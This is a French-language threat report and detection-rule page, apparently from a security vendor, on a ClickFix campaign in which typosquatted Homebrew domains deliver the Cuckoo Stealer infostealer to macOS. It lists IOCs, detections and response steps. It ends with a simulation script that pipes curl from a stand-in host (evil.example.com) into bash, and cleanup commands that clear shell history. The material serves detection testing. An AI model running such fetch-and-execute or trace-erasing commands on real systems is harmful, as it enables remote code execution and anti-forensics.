Faux Typosquats de Homebrew Utilisés pour Diffuser Cuckoo Stealer via ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une campagne qui abuse des domaines Homebrew typosquattés pour inciter les développeurs macOS à exécuter des commandes d’installation malveillantes via la technique ClickFix. Un one-liner curl fabriqué envoie les victimes vers une infrastructure contrôlée par l’attaquant, livrant un chargeur de vol d’informations d’identification suivi de l’infostealer Cuckoo Stealer. Le malware persiste à travers un LaunchAgent, enlève les attributs de quarantaine et exfiltre les informations d’identification et les données de portefeuille via HTTPS. La détection doit se concentrer sur les motifs de commande curl et l’infrastructure associée.
Enquête
Les chercheurs ont retracé l’appât initial à homabrews.org, résolvant à 5.255.123.244 aux Pays-Bas et hébergeant plusieurs domaines similaires (y compris raw.homabrews.org utilisé pour la livraison). Le script téléchargé exécute une boucle dscl authonly pour valider les identifiants macOS, puis récupère un binaire nommé brew_agent. Dans la deuxième étape, Cuckoo Stealer crée un plist LaunchAgent, supprime les drapeaux de quarantaine et communique avec le C2 en utilisant l’échange de clés X25519 avec des charges utiles chiffrées par XOR. La chasse à l’infrastructure a découvert un réseau d’au moins six domaines partageant la même IP d’hébergement.
Atténuation
Éduquer les développeurs à vérifier les URL d’installation de Homebrew et à éviter de copier-coller des commandes non fiables dans le Terminal. Activer la journalisation en ligne de commande et restreindre les modèles où curl extrait des scripts distants pour une exécution immédiate, en particulier les one-liners de style « curl | sh ». La protection des points de terminaison doit alerter sur la création suspecte de LaunchAgent et la suppression d’attributs de quarantaine. Les défenses réseau doivent bloquer les domaines malveillants connus et signaler le trafic vers raw.homabrews.org et les hôtes associés.
Réponse
Lorsqu’une commande curl suspecte est détectée, isoler le point de terminaison, capturer le script et le binaire brew_agent, et collecter le plist LaunchAgent pour analyse. Réinitialiser les identifiants récoltés et révoquer les jetons compromis, en particulier pour les navigateurs, le Trousseau, et les portefeuilles de crypto-monnaie. Examiner de manière médico-légale le répertoire BrewUpdater caché, tous les raccourcis créés, et supprimer les fichiers malveillants. Mettre à jour les détections avec les IOC extraits et surveiller la réutilisation de la même infrastructure.
Flux d’Attaque
Détections
Activité Suspecte de Keychain (via creation_de_processus)
Voir
Modification Suspecte des Permissions de Fichier du Dossier Tmp de macOS (via ligne_de_commande)
Voir
MacOS Suspect – Emplacements et Noms de Plist (via événement_de_fichier)
Voir
Accès Suspect aux Identifiants Stockés dans le Navigateur MacOS (via creation_de_processus)
Voir
Volume du Système macOS Mis en Sourdine avec Osascript (via ligne_de_commande)
Voir
Collection Possible par Tentative d’Exécution de Screencapture macOS (via ligne_de_commande)
Voir
Tentative d’Exécution de Curl Suspecte [MacOS] (via ligne_de_commande)
Voir
IOC (HashSha256) à détecter : Typosquats Homebrew Fausse Utilisés pour Délivrer Cuckoo Stealer via ClickFix
Voir
IOC (SourceIP) à détecter : Typosquats Homebrew Fausse Utilisés pour Délivrer Cuckoo Stealer via ClickFix
Voir
IOC (DestinationIP) à détecter : Typosquats Homebrew Fausse Utilisés pour Délivrer Cuckoo Stealer via ClickFix
Voir
Détection de Commande d’Installation Malicieuse macOS via ClickFix [Création de Processus Linux]
Voir
Détection de Domaine de Typosquatting et IP Malveillant dans la Campagne ClickFix [Indicateurs Réseau]
Voir
Exécution de Simulation
Prérequis : Le Contrôle de Pré‑vol de Télémétrie & Baseline doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés conduiront à un mauvais diagnostic.
-
Narrative d’Attaque & Commandes :
Un attaquant a obtenu un script PowerShell encodé malveillant hébergé sur un serveur C2. Pour éviter d’écrire des fichiers sur le disque, l’attaquant envoie le script directement dans un shell Bash en utilisantcurl -fsSLet le-cdrapeau. La commande est exécutée de manière interactive depuis un compte utilisateur compromis, imitant un installateur ‘click‑fix’ légitime. Les étapes sont :- Résoudre l’URL de charge malveillante (par exemple,
https://evil.example.com/payload.sh). - Diriger le téléchargement vers Bash, en instruisant Bash pour exécuter le contenu avec
-c. - La charge utile effectue la récolte de crédentielles, crée un fichier caché, puis supprime le script temporaire (couvrant T1070.004).
- Résoudre l’URL de charge malveillante (par exemple,
-
Script de Test de Régression :
#!/usr/bin/env bash # ------------------------------------------------- # Simuler un installateur malveillant de macOS (style ClickFix) # ------------------------------------------------- set -euo pipefail MALICIOUS_URL="https://evil.example.com/payload.sh" # Transmettre la charge directement dans Bash avec -c curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)" # La charge utile elle-même est supposée effectuer ses actions malveillantes. # Pour le test, nous affichons simplement un marqueur. echo "Charge utile malveillante exécutée" -
Commandes de Nettoyage :
# Supprimer tous les fichiers qui pourraient avoir été créés par la charge utile rm -f /tmp/payload.sh # Facultativement, effacer l'historique des commandes pour réduire les traces légales history -c